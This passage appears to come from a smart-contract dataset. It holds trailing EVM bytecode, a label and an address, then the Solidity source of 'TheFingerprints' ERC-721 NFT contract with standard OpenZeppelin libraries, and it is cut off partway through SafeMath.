a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600681526020017f4e4f4e414d45000000000000000000000000000000000000000000000000000081525081565b600080600060149054906101000a900460ff16151515610f6857600080fd5b60018351111515610f7857600080fd5b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414151515610fc757600080fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508260038281548110151561101957fe5b9060005260206000209060020201600001908051906020019061103d929190611385565b506001915050919050565b6000611052611405565b60008060149054906101000a900460ff1615801561111757506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611116575060011515600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b5b151561112257600080fd5b600060149054906101000a900460ff1615151561113e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415151561117a57600080fd5b6000600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415156111c857600080fd5b60408051908101604052808581526020014263ffffffff1681525091506001600383908060018154018082558091505090600182039060005260206000209060020201600090919290919091506000820151816000019080519060200190611231929190611425565b5060208201518160010160006101000a81548163ffffffff021916908363ffffffff160217905550505003905080600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060046000815480929190600101919050555060019250505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561134157600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106113c657805160ff19168380011785556113f4565b828001600101855582156113f4579182015b828111156113f35782518255916020019190600101906113d8565b5b50905061140191906114a5565b5090565b604080519081016040528060608152602001600063ffffffff1681525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061146657805160ff1916838001178555611494565b82800160010185558215611494579182015b82811115611493578251825591602001919060010190611478565b5b5090506114a191906114a5565b5090565b6114c791905b808211156114c35760008160009055506001016114ab565b5090565b905600a165627a7a723058201f5b566c5fad5ca4a66e64f03c811a418114be4f003dbae57550729217e195ea0029 | [
38
] |
0xF35480dbE5241c06D7860c463a53f34c346899fe | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract TheFingerprints is ERC721, Ownable {
bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
address public payoutAddress;
constructor() ERC721("The Fingerprints", "FNGPTS") {
payoutAddress = msg.sender;
}
function mint(uint256 tokenId) external returns (uint256) {
require(tokenId >= 1 && tokenId <= 10, "Invalid token id");
_safeMint(msg.sender, tokenId);
return tokenId;
}
function updatePayoutAddress(address newPayoutAddress) public onlyOwner {
payoutAddress = newPayoutAddress;
}
function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 amount) {
uint256 fivePercent = SafeMath.div(SafeMath.mul(salePrice, 500), 10000);
return (payoutAddress, fivePercent);
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == _INTERFACE_ID_ERC2981 || super.supportsInterface(interfaceId);
}
function _baseURI() internal pure override returns (string memory) {
return "https://swark.art/api/thefingerprints/";
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
